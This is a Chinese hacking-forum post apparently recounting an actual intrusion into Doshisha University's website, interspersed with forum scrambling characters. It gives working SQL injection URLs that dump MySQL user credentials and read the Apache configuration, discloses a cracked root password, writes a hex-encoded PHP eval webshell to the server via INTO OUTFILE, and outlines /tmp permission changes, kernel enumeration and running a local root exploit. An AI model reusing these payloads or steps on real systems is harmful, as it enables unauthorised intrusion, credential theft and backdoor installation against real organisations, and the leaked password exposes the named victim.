中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
. E% t, `; A- {
5 W" E- ?- j5 V* {
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
2 \# o0 ?# z+ r$ X
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
% r; z- D. M, h0 {3 R1 p( t
. H; Q, L6 e c
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
4 i5 b$ }4 K3 R
8 h, s$ H& V1 s r' D% y2 y) s% r
1 G! M) w5 O. e
2 p4 ]/ r) L9 h- I( c4 t
//@@datadir为数据库文件路径
: q, ]9 V5 s* ^9 X! M3 @- z8 b
0 B+ p6 I9 x5 D* `, M1 ?( C- s! J
# z! z4 g+ D# r1 Q0 |$ s S
//load_file读取网站容器apache的配置文件
: f$ `0 ^' x' p1 O
3 U5 o( ^' V9 x0 s8 X& w
8 }5 Q: T+ n5 }! J6 g$ X
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
" I# Q( H" A: s. U- q8 O0 k7 z
复制代码
) h( ]1 [8 [! L
3 a1 x. n- P: O6 Y/ e) S! t+ M
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
2 j. ]! K1 G+ g" M$ Q9 U
8 k0 |! o/ _0 N: ]# w
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, M( A$ |" Z7 a( r: c
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
: \" a6 ^* ?8 ~5 R# i/ s$ u
8 k* m; s' c( n0 W- ^/ [2 G
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
6 c/ ?5 L, d% R
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
' t0 y& p: M/ e/ W0 g: G
6 k5 U# f' q& y4 t
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
7 p: A+ C. M. l. u: q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
; \6 x! G& M2 {$ A" O; K! n
直接写一句话:
8 P4 N5 ?+ f. L
4 f4 q1 V% Y' s% R. c% {
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
& d8 v: p! N- _5 @' Q+ m" t
& }; g: t }0 l- e
% U$ z: X9 \ c- r2 ^$ X0 \
! K/ X0 M8 r$ y/ S
//最后的#是为了闭合前面的语句
6 }' L/ r/ y- w2 i7 G2 S" K$ P4 F/ K
i8 I4 e) [& s4 z6 G
+ ~$ g0 z2 @9 Z$ d" y
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
1 Y7 A0 N0 r: k. y$ g
' F/ J6 z7 a# ^
. s. |. {0 \3 _+ i3 ~
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
. |. S. E; Y- r4 z1 Z3 E2 `
* {. L5 F8 j1 `3 [; F2 @
4 x6 d. T( V) m9 F1 G
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
S" N3 y M' b+ B
% }% z# l2 j$ ]3 W% Q
- l! ^3 s1 z |- _
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& \, m" {9 H6 J! Z) S8 x( ~
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
- q# |8 V& Q$ {" \" a7 g8 z
复制代码
/ o- O8 S& |4 f$ q5 y4 ]# e1 U
# B6 f7 \9 r$ D3 J c; p
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
& ~" j. l" e. b( q4 Q
通过上述注入语句,我们就得到了一句话木马:
k. [ l5 o, d+ A& r! P: l$ o+ L1 U
& M1 g) P4 t* I: x' H9 e, V: n
, M# B: ^( T! {5 M4 U
8 F% `9 Y8 n4 G |) {
6 N5 i: G+ }3 F3 m4 ~8 h
1 Q! G: C: F! v5 G. c/ W' m
http://www.doshisha.ac.jp/english/engnews_img/aa.php
+ B" w8 W. g) _- s/ a
复制代码
0 K* Z9 S6 h9 @/ ~ W: H! i, \
9 y& K/ m' ^* `/ U) ]. j
用菜刀连接,密码是cmd,如图所示:
1 T' Y, v" r4 M; G
然后在命令提示行里看了一下,现在的权限是:
! W; k% m& D: B/ m
& T- W* L D- @
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
' g& L; U( e3 p! j5 s
好在赋权给这个文件夹不需要root,直接执行赋权语句:
# m1 N- |% r3 |: ]# N
7 w G3 t+ n/ ~9 _8 k; e# m
: ]1 p) @6 |7 R' q1 H) ` @9 N5 ~
! T" l, W X/ [
4 s9 Z) e9 i! b/ p! i+ V' A
! E# c- H! D: q. u$ A
chmod +x /tmp/
; s$ A# F/ v) Z
复制代码
- H/ _1 l# X. j" E& N
H% t0 m2 b0 ], [
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
) p% i$ s- Y# S# T+ `1 j
然后就查了一下内核版本:
: S# F0 ^/ z9 r w
( m' L T T! `: { k6 h4 a
! ?; a) z! N" R! W
" o0 |# D4 E+ b' |. v( I6 y: N$ n
0 p5 m$ S2 H; H+ x- `. Q/ a
. T6 C O) y7 y; ?
uname-a
" ]5 X4 B% B4 d: R
7 G% b7 J) u/ s7 }+ @
' @/ j! [6 h8 _. y: o
//其实lsb_release -a
9 Y8 R r4 K0 V: R; V7 a2 z0 c
复制代码
& j- h' }6 X& N8 u! f6 _3 f
+ e o9 u- }$ O/ ~" B
如图所示:
7 I1 Y4 A n% |/ k O- k3 Z) K; Z
) U5 g/ C. L6 X$ L& ^. e
内核版本:linux mainz1 2.6.28-194.e15
. V4 c- h) n9 _7 Q7 ~' @1 B1 t! M
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
6 x. H6 D! O/ ~6 G4 x
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
1 g* C1 U) T! R( O
1 ^9 F. @) I5 T; [8 J: V
然后给予执行权限
2 U$ X1 {+ S8 e. ?8 [% B
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
) q1 |5 _' C- `
" g" Q/ \ B- v8 T1 c, K
3 A/ f& `- O: D8 Y5 b! ^
+ b/ |1 C3 K! Z& {( q, u
) ]; j$ ?% {, s" J% f0 U
% ?+ }. C- E+ a. {3 t
chmod +x /tmp/2.6.18-194
2 W% A1 |" R% S5 Q, J/ K% |+ K
复制代码 然后直接执行!~
1 z# E6 I: {1 E* h
* ~7 d* @$ _/ D( m9 Z7 i+ a
总结:
7 o6 h& j8 @. D) g
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
) t( _& A5 }5 j' u, b
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
8 q# l8 c" P- W" J; F! o5 S$ I
$ v# ]# t/ ^8 o a# k% f2 g) t2 ~$ e
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2